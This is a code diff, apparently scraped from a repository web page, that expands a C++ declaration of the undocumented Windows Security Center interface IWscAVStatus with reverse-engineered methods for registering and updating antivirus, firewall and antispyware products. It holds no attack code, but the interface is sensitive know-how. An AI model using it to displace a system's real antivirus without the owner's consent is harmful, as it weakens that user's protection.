||||||
private:
|
public:
|
||||||
/// Incomplete stubs to just increase the vfunc id
|
|
||||||
virtual HRESULT QueryInterface() = 0;
|
virtual HRESULT QueryInterface() = 0;
|
||||||
virtual HRESULT AddRef() = 0;
|
virtual std::uint32_t AddRef() = 0;
|
||||||
virtual HRESULT Release() = 0;
|
virtual std::uint32_t Release() = 0;
|
||||||
|
virtual HRESULT Register(BSTR path_to_signed_product_exe, BSTR display_name, std::uint32_t, std::uint32_t) = 0;
|
||||||
|
virtual HRESULT Unregister() = 0;
|
||||||
|
virtual HRESULT UpdateStatus(WSCSecurityProductState state, std::uint32_t) = 0;
|
||||||
|
virtual HRESULT InitiateOfflineCleaning(std::uint16_t*, std::uint16_t*) = 0;
|
||||||
|
virtual HRESULT NotifyUserForNearExpiration(std::uint32_t) = 0;
|
||||||
|
virtual HRESULT MakeDefaultProductRequest() = 0;
|
||||||
|
virtual HRESULT IsDefaultProductEnforced(std::uint32_t* result) = 0;
|
||||||
|
virtual HRESULT UpdateScanSubstatus(WSCSecurityProductSubStatus status) = 0;
|
||||||
|
virtual HRESULT UpdateSettingsSubstatus(WSCSecurityProductSubStatus status) = 0;
|
||||||
|
virtual HRESULT UpdateProtectionUpdateSubstatus(WSCSecurityProductSubStatus status) = 0;
|
||||||
|
virtual HRESULT RegisterAV(std::uint16_t*, std::uint16_t*, std::uint32_t, std::uint32_t) = 0;
|
||||||
|
virtual HRESULT UnregisterAV() = 0;
|
||||||
|
virtual HRESULT UpdateStatusAV(WSCSecurityProductState state, std::uint32_t) = 0;
|
||||||
|
virtual HRESULT InitiateOfflineCleaningAV(std::uint16_t*, std::uint16_t*) = 0;
|
||||||
|
virtual HRESULT NotifyUserForNearExpirationAV(std::uint32_t) = 0;
|
||||||
|
virtual HRESULT RegisterFW(std::uint16_t*, std::uint16_t*, std::uint32_t, std::uint32_t) = 0;
|
||||||
|
virtual HRESULT UnregisterFW() = 0;
|
||||||
|
virtual HRESULT UpdateStatusFW(WSCSecurityProductState state) = 0;
|
||||||
|
virtual HRESULT RegisterAS(std::uint16_t*, std::uint16_t*, std::uint32_t, std::uint32_t) = 0;
|
||||||
|
virtual HRESULT UnregisterAS() = 0;
|
||||||
|
virtual HRESULT UpdateStatusAS(WSCSecurityProductState state, std::uint32_t) = 0;
|
||||||
|
|
||||||
|
private:
|
||||||
|
virtual void dtor() = 0;
|
||||||
|
|
||||||
public:
|
public:
|
||||||
virtual HRESULT Register(BSTR path_to_signed_product_exe, BSTR display_name) = 0;
|
|
||||||
virtual HRESULT Unregister() = 0;
|
|
||||||
virtual HRESULT UpdateStatus(WSCSecurityProductState state, std::uint32_t idk) = 0;
|
|
||||||
|
|
||||||
static IWscAVStatus* get() {
|
static IWscAVStatus* get() {
|
||||||
IWscAVStatus* result = nullptr;
|
IWscAVStatus* result = nullptr;
|
||||||
com_checked(CoCreateInstance(detail::RCLSID, 0, 1, detail::IID_IWscAVStatus, reinterpret_cast<LPVOID*>(&result)));
|
com_checked(CoCreateInstance(detail::CLSID_IWscAVStatus, 0, 1, detail::IID_IWscAVStatus, reinterpret_cast<LPVOID*>(&result)));
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|||||||
Reference in New Issue
Block a user